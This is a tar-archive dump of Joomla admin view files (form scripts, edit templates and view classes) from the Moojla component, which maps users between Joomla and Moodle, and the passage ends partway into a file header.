views/user_field_map/submitbutton.js000064400000002753151165724420013772
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage submitbutton.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
Joomla.submitbutton = function(task)
{
if (task == ''){
return false;
} else {
var action = task.split('.');
if (action[1] == 'cancel' || action[1] == 'close' ||
document.formvalidator.isValid(document.getElementById("adminForm"))){
Joomla.submitform(task, document.getElementById("adminForm"));
return true;
} else {
alert(Joomla.JText._('user_field_map, some values are not
acceptable.','Some values are unacceptable'));
return false;
}
}
}views/user_field_map/tmpl/edit.php000064400000011256151165724420013305
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage edit.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
$componentParams = $this->params; // will be removed just use
$this->params instead
?>
<script type="text/javascript">
// waiting spinner
var outerDiv = jQuery('body');
jQuery('<div id="loading"></div>')
.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
.css("top", outerDiv.position().top -
jQuery(window).scrollTop())
.css("left", outerDiv.position().left -
jQuery(window).scrollLeft())
.css("width", outerDiv.width())
.css("height", outerDiv.height())
.css("position", "fixed")
.css("opacity", "0.80")
.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
.css("filter", "alpha(opacity = 80)")
.css("display", "none")
.appendTo(outerDiv);
jQuery('#loading').show();
// when page is ready remove and show
jQuery(window).load(function() {
jQuery('#moojla_loader').fadeIn('fast');
jQuery('#loading').hide();
});
</script>
<div id="moojla_loader" style="display: none;">
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&layout=edit&id='.
(int) $this->item->id . $this->referral); ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">
<div class="form-horizontal">
<?php echo JHtml::_('bootstrap.startTabSet',
'user_field_mapTab', array('active' =>
'details')); ?>
<?php echo JHtml::_('bootstrap.addTab',
'user_field_mapTab', 'details',
JText::_('COM_MOOJLA_USER_FIELD_MAP_DETAILS', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span12">
<?php echo
JLayoutHelper::render('user_field_map.details_left', $this);
?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php $this->ignore_fieldsets =
array('details','metadata','vdmmetadata','accesscontrol');
?>
<?php $this->tab_name = 'user_field_mapTab'; ?>
<?php echo JLayoutHelper::render('joomla.edit.params',
$this); ?>
<?php if ($this->canDo->get('core.edit.created_by') ||
$this->canDo->get('core.edit.created') ||
$this->canDo->get('core.edit.state') ||
($this->canDo->get('core.delete') &&
$this->canDo->get('core.edit.state'))) : ?>
<?php echo JHtml::_('bootstrap.addTab',
'user_field_mapTab', 'publishing',
JText::_('COM_MOOJLA_USER_FIELD_MAP_PUBLISHING', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span6">
<?php echo
JLayoutHelper::render('user_field_map.publishing', $this); ?>
</div>
<div class="span6">
<?php echo
JLayoutHelper::render('user_field_map.publlshing', $this); ?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endif; ?>
<?php if ($this->canDo->get('core.admin')) : ?>
<?php echo JHtml::_('bootstrap.addTab',
'user_field_mapTab', 'permissions',
JText::_('COM_MOOJLA_USER_FIELD_MAP_PERMISSION', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span12">
<fieldset class="adminform">
<div class="adminformlist">
<?php foreach
($this->form->getFieldset('accesscontrol') as $field):
?>
<div>
<?php echo $field->label; echo $field->input;?>
</div>
<div class="clearfix"></div>
<?php endforeach; ?>
</div>
</fieldset>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endif; ?>
<?php echo JHtml::_('bootstrap.endTabSet'); ?>
<div>
<input type="hidden" name="task"
value="user_field_map.edit" />
<?php echo JHtml::_('form.token'); ?>
</div>
</div>
</form>
</div>
views/user_field_map/tmpl/index.html000064400000000054151165724420013636
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/user_field_map/view.html.php000064400000016332151165724420013321
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* User_field_map View class
*/
class MoojlaViewUser_field_map extends JViewLegacy
{
/**
* display method of View
* @return void
*/
public function display($tpl = null)
{
// set params
$this->params = JComponentHelper::getParams('com_moojla');
// Assign the variables
$this->form = $this->get('Form');
$this->item = $this->get('Item');
$this->script = $this->get('Script');
$this->state = $this->get('State');
// get action permissions
$this->canDo = MoojlaHelper::getActions('user_field_map',
$this->item);
// get input
$jinput = JFactory::getApplication()->input;
$this->ref = $jinput->get('ref', 0, 'word');
$this->refid = $jinput->get('refid', 0, 'int');
$return = $jinput->get('return', null, 'base64');
// set the referral string
$this->referral = '';
if ($this->refid && $this->ref)
{
// return to the item that referred to this item
$this->referral = '&ref=' . (string)$this->ref .
'&refid=' . (int)$this->refid;
}
elseif($this->ref)
{
// return to the list view that referred to this item
$this->referral = '&ref=' . (string)$this->ref;
}
// check return value
if (!is_null($return))
{
// add the return value
$this->referral .= '&return=' . (string)$return;
}
// Set the toolbar
$this->addToolBar();
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
JFactory::getApplication()->input->set('hidemainmenu',
true);
$user = JFactory::getUser();
$userId = $user->id;
$isNew = $this->item->id == 0;
JToolbarHelper::title( JText::_($isNew ?
'COM_MOOJLA_USER_FIELD_MAP_NEW' :
'COM_MOOJLA_USER_FIELD_MAP_EDIT'), 'pencil-2
article-add');
// Built the actions for new and existing records.
if (MoojlaHelper::checkString($this->referral))
{
if ($this->canDo->get('core.create') && $isNew)
{
// We can create the record.
JToolBarHelper::save('user_field_map.save',
'JTOOLBAR_SAVE');
}
elseif ($this->canDo->get('core.edit'))
{
// We can save the record.
JToolBarHelper::save('user_field_map.save',
'JTOOLBAR_SAVE');
}
if ($isNew)
{
// Do not creat but cancel.
JToolBarHelper::cancel('user_field_map.cancel',
'JTOOLBAR_CANCEL');
}
else
{
// We can close it.
JToolBarHelper::cancel('user_field_map.cancel',
'JTOOLBAR_CLOSE');
}
}
else
{
if ($isNew)
{
// For new records, check the create permission.
if ($this->canDo->get('core.create'))
{
JToolBarHelper::apply('user_field_map.apply',
'JTOOLBAR_APPLY');
JToolBarHelper::save('user_field_map.save',
'JTOOLBAR_SAVE');
JToolBarHelper::custom('user_field_map.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
};
JToolBarHelper::cancel('user_field_map.cancel',
'JTOOLBAR_CANCEL');
}
else
{
if ($this->canDo->get('core.edit'))
{
// We can save the new record
JToolBarHelper::apply('user_field_map.apply',
'JTOOLBAR_APPLY');
JToolBarHelper::save('user_field_map.save',
'JTOOLBAR_SAVE');
// We can save this record, but check the create permission to see
// if we can return to make a new one.
if ($this->canDo->get('core.create'))
{
JToolBarHelper::custom('user_field_map.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
}
}
$canVersion = ($this->canDo->get('core.version')
&& $this->canDo->get('user_field_map.version'));
if ($this->state->params->get('save_history', 1)
&& $this->canDo->get('core.edit') &&
$canVersion)
{
JToolbarHelper::versions('com_moojla.user_field_map',
$this->item->id);
}
if ($this->canDo->get('core.create'))
{
JToolBarHelper::custom('user_field_map.save2copy',
'save-copy.png', 'save-copy_f2.png',
'JTOOLBAR_SAVE_AS_COPY', false);
}
JToolBarHelper::cancel('user_field_map.cancel',
'JTOOLBAR_CLOSE');
}
}
JToolbarHelper::divider();
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('user_field_map');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
if(strlen($var) > 30)
{
// use the helper htmlEscape method instead and shorten the string
return MoojlaHelper::htmlEscape($var, $this->_charset, true, 30);
}
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
/**
* Method to set up the document properties
*
* @return void
*/
protected function setDocument()
{
$isNew = ($this->item->id < 1);
if (!isset($this->document))
{
$this->document = JFactory::getDocument();
}
$this->document->setTitle(JText::_($isNew ?
'COM_MOOJLA_USER_FIELD_MAP_NEW' :
'COM_MOOJLA_USER_FIELD_MAP_EDIT'));
$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/user_field_map.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
// Add Ajax Token
$this->document->addScriptDeclaration("var token =
'".JSession::getFormToken()."';");
$this->document->addScript(JURI::root() . $this->script,
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
$this->document->addScript(JURI::root() .
"administrator/components/com_moojla/views/user_field_map/submitbutton.js",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
/***[JCBGUI.admin_view.php_document.134.$$$$]***/
$getMethodsAjaxRoute=
JRoute::_('index.php?option=com_moojla', false);
$this->document->addScriptOptions('route',$getMethodsAjaxRoute);
$this->document->addScriptOptions('token',JFactory::getSession()->getFormToken());
/***[/JCBGUI$$$$]***/
JText::script('view not acceptable. Error');
}
}
views/user_map/submitbutton.js000064400000002745151165724420012630
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage submitbutton.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
Joomla.submitbutton = function(task)
{
if (task == ''){
return false;
} else {
var action = task.split('.');
if (action[1] == 'cancel' || action[1] == 'close' ||
document.formvalidator.isValid(document.getElementById("adminForm"))){
Joomla.submitform(task, document.getElementById("adminForm"));
return true;
} else {
alert(Joomla.JText._('user_map, some values are not
acceptable.','Some values are unacceptable'));
return false;
}
}
}views/user_map/tmpl/edit.php000064400000011320151165724420012132
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage edit.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
$componentParams = $this->params; // will be removed just use
$this->params instead
?>
<script type="text/javascript">
// waiting spinner
var outerDiv = jQuery('body');
jQuery('<div id="loading"></div>')
.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
.css("top", outerDiv.position().top -
jQuery(window).scrollTop())
.css("left", outerDiv.position().left -
jQuery(window).scrollLeft())
.css("width", outerDiv.width())
.css("height", outerDiv.height())
.css("position", "fixed")
.css("opacity", "0.80")
.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
.css("filter", "alpha(opacity = 80)")
.css("display", "none")
.appendTo(outerDiv);
jQuery('#loading').show();
// when page is ready remove and show
jQuery(window).load(function() {
jQuery('#moojla_loader').fadeIn('fast');
jQuery('#loading').hide();
});
</script>
<div id="moojla_loader" style="display: none;">
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&layout=edit&id='.
(int) $this->item->id . $this->referral); ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">
<div class="form-horizontal">
<?php echo JHtml::_('bootstrap.startTabSet',
'user_mapTab', array('active' =>
'details')); ?>
<?php echo JHtml::_('bootstrap.addTab',
'user_mapTab', 'details',
JText::_('COM_MOOJLA_USER_MAP_DETAILS', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span6">
<?php echo JLayoutHelper::render('user_map.details_left',
$this); ?>
</div>
<div class="span6">
<?php echo JLayoutHelper::render('user_map.details_right',
$this); ?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php $this->ignore_fieldsets =
array('details','metadata','vdmmetadata','accesscontrol');
?>
<?php $this->tab_name = 'user_mapTab'; ?>
<?php echo JLayoutHelper::render('joomla.edit.params',
$this); ?>
<?php if ($this->canDo->get('core.edit.created_by') ||
$this->canDo->get('core.edit.created') ||
$this->canDo->get('core.edit.state') ||
($this->canDo->get('core.delete') &&
$this->canDo->get('core.edit.state'))) : ?>
<?php echo JHtml::_('bootstrap.addTab',
'user_mapTab', 'publishing',
JText::_('COM_MOOJLA_USER_MAP_PUBLISHING', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span6">
<?php echo JLayoutHelper::render('user_map.publishing',
$this); ?>
</div>
<div class="span6">
<?php echo JLayoutHelper::render('user_map.publlshing',
$this); ?>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endif; ?>
<?php if ($this->canDo->get('core.admin')) : ?>
<?php echo JHtml::_('bootstrap.addTab',
'user_mapTab', 'permissions',
JText::_('COM_MOOJLA_USER_MAP_PERMISSION', true)); ?>
<div class="row-fluid form-horizontal-desktop">
<div class="span12">
<fieldset class="adminform">
<div class="adminformlist">
<?php foreach
($this->form->getFieldset('accesscontrol') as $field):
?>
<div>
<?php echo $field->label; echo $field->input;?>
</div>
<div class="clearfix"></div>
<?php endforeach; ?>
</div>
</fieldset>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endif; ?>
<?php echo JHtml::_('bootstrap.endTabSet'); ?>
<div>
<input type="hidden" name="task"
value="user_map.edit" />
<?php echo JHtml::_('form.token'); ?>
</div>
</div>
</form>
</div>
views/user_map/tmpl/index.html000064400000000054151165724420012473
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/user_map/view.html.php000064400000015420151165724420012153
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* User_map View class
*/
class MoojlaViewUser_map extends JViewLegacy
{
/**
* display method of View
* @return void
*/
public function display($tpl = null)
{
// set params
$this->params = JComponentHelper::getParams('com_moojla');
// Assign the variables
$this->form = $this->get('Form');
$this->item = $this->get('Item');
$this->script = $this->get('Script');
$this->state = $this->get('State');
// get action permissions
$this->canDo = MoojlaHelper::getActions('user_map',
$this->item);
// get input
$jinput = JFactory::getApplication()->input;
$this->ref = $jinput->get('ref', 0, 'word');
$this->refid = $jinput->get('refid', 0, 'int');
$return = $jinput->get('return', null, 'base64');
// set the referral string
$this->referral = '';
if ($this->refid && $this->ref)
{
// return to the item that referred to this item
$this->referral = '&ref=' . (string)$this->ref .
'&refid=' . (int)$this->refid;
}
elseif($this->ref)
{
// return to the list view that referred to this item
$this->referral = '&ref=' . (string)$this->ref;
}
// check return value
if (!is_null($return))
{
// add the return value
$this->referral .= '&return=' . (string)$return;
}
// Set the toolbar
$this->addToolBar();
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
JFactory::getApplication()->input->set('hidemainmenu',
true);
$user = JFactory::getUser();
$userId = $user->id;
$isNew = $this->item->id == 0;
JToolbarHelper::title( JText::_($isNew ?
'COM_MOOJLA_USER_MAP_NEW' :
'COM_MOOJLA_USER_MAP_EDIT'), 'pencil-2 article-add');
// Built the actions for new and existing records.
if (MoojlaHelper::checkString($this->referral))
{
if ($this->canDo->get('core.create') && $isNew)
{
// We can create the record.
JToolBarHelper::save('user_map.save',
'JTOOLBAR_SAVE');
}
elseif ($this->canDo->get('core.edit'))
{
// We can save the record.
JToolBarHelper::save('user_map.save',
'JTOOLBAR_SAVE');
}
if ($isNew)
{
// Do not creat but cancel.
JToolBarHelper::cancel('user_map.cancel',
'JTOOLBAR_CANCEL');
}
else
{
// We can close it.
JToolBarHelper::cancel('user_map.cancel',
'JTOOLBAR_CLOSE');
}
}
else
{
if ($isNew)
{
// For new records, check the create permission.
if ($this->canDo->get('core.create'))
{
JToolBarHelper::apply('user_map.apply',
'JTOOLBAR_APPLY');
JToolBarHelper::save('user_map.save',
'JTOOLBAR_SAVE');
JToolBarHelper::custom('user_map.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
};
JToolBarHelper::cancel('user_map.cancel',
'JTOOLBAR_CANCEL');
}
else
{
if ($this->canDo->get('core.edit'))
{
// We can save the new record
JToolBarHelper::apply('user_map.apply',
'JTOOLBAR_APPLY');
JToolBarHelper::save('user_map.save',
'JTOOLBAR_SAVE');
// We can save this record, but check the create permission to see
// if we can return to make a new one.
if ($this->canDo->get('core.create'))
{
JToolBarHelper::custom('user_map.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
}
}
$canVersion = ($this->canDo->get('core.version')
&& $this->canDo->get('user_map.version'));
if ($this->state->params->get('save_history', 1)
&& $this->canDo->get('core.edit') &&
$canVersion)
{
JToolbarHelper::versions('com_moojla.user_map',
$this->item->id);
}
if ($this->canDo->get('core.create'))
{
JToolBarHelper::custom('user_map.save2copy',
'save-copy.png', 'save-copy_f2.png',
'JTOOLBAR_SAVE_AS_COPY', false);
}
JToolBarHelper::cancel('user_map.cancel',
'JTOOLBAR_CLOSE');
}
}
JToolbarHelper::divider();
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('user_map');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
if(strlen($var) > 30)
{
// use the helper htmlEscape method instead and shorten the string
return MoojlaHelper::htmlEscape($var, $this->_charset, true, 30);
}
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
/**
* Method to set up the document properties
*
* @return void
*/
protected function setDocument()
{
$isNew = ($this->item->id < 1);
if (!isset($this->document))
{
$this->document = JFactory::getDocument();
}
$this->document->setTitle(JText::_($isNew ?
'COM_MOOJLA_USER_MAP_NEW' :
'COM_MOOJLA_USER_MAP_EDIT'));
$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/user_map.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
// Add Ajax Token
$this->document->addScriptDeclaration("var token =
'".JSession::getFormToken()."';");
$this->document->addScript(JURI::root() . $this->script,
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
$this->document->addScript(JURI::root() .
"administrator/components/com_moojla/views/user_map/submitbutton.js",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
JText::script('view not acceptable. Error');
}
}
views/user_maps/index.html000064400000000054151165724420011702
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/user_maps/tmpl/default.php000064400000007422151165724420013024
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('dropdown.init');
JHtml::_('formbehavior.chosen', 'select');
if ($this->saveOrder)
{
$saveOrderingUrl =
'index.php?option=com_moojla&task=user_maps.saveOrderAjax&tmpl=component';
JHtml::_('sortablelist.sortable', 'user_mapList',
'adminForm', strtolower($this->listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=user_maps');
?>" method="post" name="adminForm"
id="adminForm">
<?php if(!empty( $this->sidebar)): ?>
<div id="j-sidebar-container" class="span2">
<?php echo $this->sidebar; ?>
</div>
<div id="j-main-container" class="span10">
<?php else : ?>
<div id="j-main-container">
<?php endif; ?>
<?php
// Add the searchtools
echo JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this));
?>
<?php if (empty($this->items)): ?>
<div class="alert alert-no-items">
<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
</div>
<?php else : ?>
<table class="table table-striped"
id="user_mapList">
<thead><?php echo
$this->loadTemplate('head');?></thead>
<tfoot><?php echo
$this->loadTemplate('foot');?></tfoot>
<tbody><?php echo
$this->loadTemplate('body');?></tbody>
</table>
<?php // Load the batch processing form. ?>
<?php if ($this->canCreate && $this->canEdit) : ?>
<?php echo JHtml::_(
'bootstrap.renderModal',
'collapseModal',
array(
'title' =>
JText::_('COM_MOOJLA_USER_MAPS_BATCH_OPTIONS'),
'footer' =>
$this->loadTemplate('batch_footer')
),
$this->loadTemplate('batch_body')
); ?>
<?php endif; ?>
<input type="hidden" name="boxchecked"
value="0" />
</div>
<?php endif; ?>
<input type="hidden" name="task" value=""
/>
<?php echo JHtml::_('form.token'); ?>
</form>
<script type="text/javascript">
// user_maps footer script
/***[JCBGUI.admin_view.javascript_views_footer.130.$$$$]***/
jQuery(document).on("click", "a[id^=check_]",
function(e) {
var obj;
obj = e;
console.log(e);
e.preventDefault();
jQuery.ajax({
url:
"index.php?option=com_moojla&view=user_maps&task=user_maps.checkMoodleUser&cid="
+ e.target.get("data"),
beforeSend: function( xhr ) {
console.log('beforeSend');
console.log(xhr);
}
}).done(function(e) {
console.log('done');
res = JSON.decode(e);
if(res.warnings.length != 0) {
console.log(res.warnings[0].message);
obj.target.parentElement.innerHTML = '<div
style="color:red;">' + res.warnings[0].message +
"</div>";
console.log(this)
} else {
obj.target.parentElement.innerHTML = '<div
style="color:yellow;">Moodle account status is
OK</div>';
}
});
});
/***[/JCBGUI$$$$]***/
</script>
views/user_maps/tmpl/default_batch_body.php000064400000002334151165724420015177
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_batch_body.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<p><?php echo
JText::_('COM_MOOJLA_USER_MAPS_BATCH_TIP'); ?></p>
<?php echo $this->batchDisplay;
?>views/user_maps/tmpl/default_batch_footer.php000064400000002732151165724420015542
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_batch_footer.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
